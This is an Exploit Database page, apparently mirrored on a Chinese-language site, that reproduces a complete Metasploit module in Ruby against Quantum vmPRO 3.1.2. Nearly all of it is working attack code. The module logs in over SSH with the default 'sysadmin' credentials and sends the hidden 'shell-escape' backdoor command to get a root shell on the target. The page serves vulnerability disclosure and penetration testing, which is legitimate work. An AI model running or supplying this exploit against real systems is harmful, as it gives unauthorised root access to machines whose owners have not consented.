Quantum vmPRO – Backdoor Command (Metasploit)

• Exploit Database
• 11 阅读

• 作者： Metasploit
  日期： 2014-03-19
• 类别：

  • remote
  平台：

  • unix
• 来源：https://www.exploit-db.com/exploits/32367/

• ##
  # This module requires Metasploit: http//metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  require 'msf/core'
  require 'net/ssh'
  
  class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Auxiliary::CommandShell
  
  def initialize(info={})
  super(update_info(info,
  'Name' => "Quantum vmPRO Backdoor Command",
  'Description'=> %q{
  This module abuses a backdoor command in vmPRO 3.1.2. Any user, even without admin
  privileges, can get access to the restricted SSH shell. By using the hidden backdoor
  "shell-escape" command it's possible to drop to a real root bash shell.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'xistence <xistence[at]0x90.nl>'# Original discovery and Metasploit module
  ],
  'References' =>
  [
  ['URL', 'http://packetstormsecurity.com/files/125760/quantumvmpro-backdoor.txt']
  ],
  'DefaultOptions'=>
  {
  'ExitFunction' => "none"
  },
  'Payload'=>
  {
  'Compat' => {
  'PayloadType'=> 'cmd_interact',
  'ConnectionType' => 'find'
  }
  },
  'Platform' => 'unix',
  'Arch' => ARCH_CMD,
  'Targets'=>
  [
  ['Quantum vmPRO 3.1.2', {}],
  ],
  'Privileged' => true,
  'DisclosureDate' => "Mar 17 2014",
  'DefaultTarget'=> 0))
  
  register_options(
  [
  Opt::RHOST(),
  Opt::RPORT(22),
  OptString.new('USER', [ true, 'vmPRO SSH user', 'sysadmin']),
  OptString.new('PASS', [ true, 'vmPRO SSH password', 'sysadmin'])
  ], self.class
  )
  
  register_advanced_options(
  [
  OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
  OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
  ]
  )
  end
  
  
  def rhost
  datastore['RHOST']
  end
  
  
  def rport
  datastore['RPORT']
  end
  
  
  def do_login(user, pass)
  opts = {
  :auth_methods => ['password', 'keyboard-interactive'],
  :msframework=> framework,
  :msfmodule=> self,
  :port => rport,
  :disable_agent => true,
  :config => true,
  :password => pass,
  :record_auth_info => true,
  :proxies => datastore['Proxies']
  }
  
  opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
  
  begin
  ssh = nil
  ::Timeout.timeout(datastore['SSH_TIMEOUT']) do
  ssh = Net::SSH.start(rhost, user, opts)
  end
  rescue Rex::ConnectionError, Rex::AddressInUse
  return nil
  rescue Net::SSH::Disconnect, ::EOFError
  print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
  return nil
  rescue ::Timeout::Error
  print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
  return nil
  rescue Net::SSH::AuthenticationFailed
  print_error "#{rhost}:#{rport} SSH - Failed authentication"
  return nil
  rescue Net::SSH::Exception => e
  print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
  return nil
  end
  
  if ssh
  conn = Net::SSH::CommandStream.new(ssh, 'shell-escape', true)
  return conn
  end
  
  return nil
  end
  
  
  def exploit
  user = datastore['USER']
  pass = datastore['PASS']
  
  print_status("#{rhost}:#{rport} - Attempt to login...")
  conn = do_login(user, pass)
  if conn
  print_good("#{rhost}:#{rport} - Login Successful with '#{user}:#{pass}'")
  handler(conn.lsock)
  end
  end
  end